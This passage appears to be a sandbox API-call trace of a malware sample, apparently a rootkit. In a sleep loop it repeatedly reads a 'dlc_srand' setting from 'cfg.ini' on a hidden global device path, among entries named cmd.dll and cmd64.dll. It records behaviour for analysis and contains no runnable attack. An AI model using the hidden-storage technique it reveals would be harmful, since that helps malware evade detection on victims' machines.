Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.492] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.492] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.492] IdePortDispatch () returned 0x103 [0123.492] KeWaitForMutexObject () returned 0x0 [0123.492] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.492] KeLeaveCriticalRegion () [0123.492] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.492] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.492] KeEnterCriticalRegion () [0123.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.493] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.493] KeLeaveCriticalRegion () [0123.493] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.493] KeEnterCriticalRegion () [0123.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.493] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.493] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003beb3b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.493] KeLeaveCriticalRegion () [0123.493] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.493] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.493] KeEnterCriticalRegion () [0123.493] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.493] ExFreePoolWithTag (P=0xfffffa8003beb1e0, Tag=0x0) [0123.493] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.493] KeLeaveCriticalRegion () [0123.493] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.493] ReleaseMutex (hMutex=0xf0) returned 1 [0123.493] Sleep (dwMilliseconds=0x124f80) [0123.506] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.506] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.507] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.507] KeEnterCriticalRegion () [0123.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.507] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.507] IdePortDispatch () returned 0x103 [0123.507] KeWaitForMutexObject () returned 0x0 [0123.507] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.507] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.507] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.507] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.507] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.507] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003608390 [0123.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.507] KeLeaveCriticalRegion () [0123.507] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.507] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.507] KeEnterCriticalRegion () [0123.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.507] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.507] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.507] KeLeaveCriticalRegion () [0123.507] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.507] KeEnterCriticalRegion () [0123.507] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.507] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.507] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.507] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.507] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.507] IdePortDispatch () returned 0x103 [0123.507] KeWaitForMutexObject () returned 0x0 [0123.508] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.508] KeLeaveCriticalRegion () [0123.508] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.508] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.508] KeEnterCriticalRegion () [0123.508] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.508] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c2000 [0123.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.508] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.508] IdePortDispatch () returned 0x103 [0123.508] KeWaitForMutexObject () returned 0x0 [0123.508] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.508] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.508] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.508] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.508] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.508] IdePortDispatch () returned 0x103 [0123.508] KeWaitForMutexObject () returned 0x0 [0123.508] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.508] KeLeaveCriticalRegion () [0123.508] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.509] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.509] KeEnterCriticalRegion () [0123.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.509] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.509] KeLeaveCriticalRegion () [0123.509] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.509] KeEnterCriticalRegion () [0123.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.509] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.509] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.509] KeLeaveCriticalRegion () [0123.509] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.509] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.509] KeEnterCriticalRegion () [0123.509] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.509] ExFreePoolWithTag (P=0xfffffa8003608390, Tag=0x0) [0123.509] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.509] KeLeaveCriticalRegion () [0123.509] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.509] ReleaseMutex (hMutex=0xf0) returned 1 [0123.509] Sleep (dwMilliseconds=0x124f80) [0123.524] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.524] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.524] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.524] KeEnterCriticalRegion () [0123.524] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.524] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.524] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.524] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.524] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.525] IdePortDispatch () returned 0x103 [0123.525] KeWaitForMutexObject () returned 0x0 [0123.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.525] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.525] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.525] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.525] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.525] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003beca70 [0123.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.525] KeLeaveCriticalRegion () [0123.525] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.525] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.525] KeEnterCriticalRegion () [0123.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.525] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.525] KeLeaveCriticalRegion () [0123.525] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.525] KeEnterCriticalRegion () [0123.525] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.525] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.525] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.525] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.525] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.525] IdePortDispatch () returned 0x103 [0123.525] KeWaitForMutexObject () returned 0x0 [0123.525] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.525] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.525] KeLeaveCriticalRegion () [0123.525] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.526] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.526] KeEnterCriticalRegion () [0123.526] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.526] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034c7000 [0123.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.526] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.526] IdePortDispatch () returned 0x103 [0123.526] KeWaitForMutexObject () returned 0x0 [0123.526] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.526] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.526] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.526] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.526] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.526] IdePortDispatch () returned 0x103 [0123.526] KeWaitForMutexObject () returned 0x0 [0123.526] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.526] KeLeaveCriticalRegion () [0123.526] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.527] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.527] KeEnterCriticalRegion () [0123.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.527] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.527] KeLeaveCriticalRegion () [0123.527] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.527] KeEnterCriticalRegion () [0123.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.527] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.527] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becdc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.527] KeLeaveCriticalRegion () [0123.527] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.527] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.527] KeEnterCriticalRegion () [0123.527] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.527] ExFreePoolWithTag (P=0xfffffa8003beca70, Tag=0x0) [0123.527] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.527] KeLeaveCriticalRegion () [0123.527] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.527] ReleaseMutex (hMutex=0xf0) returned 1 [0123.527] Sleep (dwMilliseconds=0x124f80) [0123.541] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.541] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0123.541] _snprintf (in: _Dest=0xfffff880028da450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.541] KeEnterCriticalRegion () [0123.541] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.541] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.541] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.541] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.541] KeInitializeEvent (in: Event=0xfffff880028da2c0, Type=0x0, State=0 | out: Event=0xfffff880028da2c0) [0123.541] IdePortDispatch () returned 0x103 [0123.541] KeWaitForMutexObject () returned 0x0 [0123.541] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.541] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.541] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.541] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.541] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.541] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003becbb0 [0123.541] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.541] KeLeaveCriticalRegion () [0123.541] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.541] _snprintf (in: _Dest=0xfffff880028da780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.541] KeEnterCriticalRegion () [0123.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.542] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.542] KeLeaveCriticalRegion () [0123.542] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.542] KeEnterCriticalRegion () [0123.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0123.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.542] KeInitializeEvent (in: Event=0xfffff880028da620, Type=0x0, State=0 | out: Event=0xfffff880028da620) [0123.542] IdePortDispatch () returned 0x103 [0123.542] KeWaitForMutexObject () returned 0x0 [0123.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.542] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.542] KeLeaveCriticalRegion () [0123.542] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.542] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.542] KeEnterCriticalRegion () [0123.542] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.542] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff880034cc000 [0123.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.542] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.542] IdePortDispatch () returned 0x103 [0123.542] KeWaitForMutexObject () returned 0x0 [0123.542] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.542] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0123.542] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0123.542] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.543] KeInitializeEvent (in: Event=0xfffff880028da5d0, Type=0x0, State=0 | out: Event=0xfffff880028da5d0) [0123.543] IdePortDispatch () returned 0x103 [0123.543] KeWaitForMutexObject () returned 0x0 [0123.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.543] KeLeaveCriticalRegion () [0123.543] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.543] _snprintf (in: _Dest=0xfffff880028da790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.543] KeEnterCriticalRegion () [0123.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.543] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0123.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.543] KeLeaveCriticalRegion () [0123.543] _snprintf (in: _Dest=0xfffff880028da750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.543] KeEnterCriticalRegion () [0123.543] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.543] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0123.543] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003becc70, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.543] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.543] KeLeaveCriticalRegion () [0123.543] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.543] _snprintf (in: _Dest=0xfffff880028da770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.544] KeEnterCriticalRegion () [0123.544] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.544] ExFreePoolWithTag (P=0xfffffa8003becbb0, Tag=0x0) [0123.544] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.544] KeLeaveCriticalRegion () [0123.544] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0123.544] ReleaseMutex (hMutex=0xf0) returned 1 [0123.544] Sleep (dwMilliseconds=0x124f80) [0123.558] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.558] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, 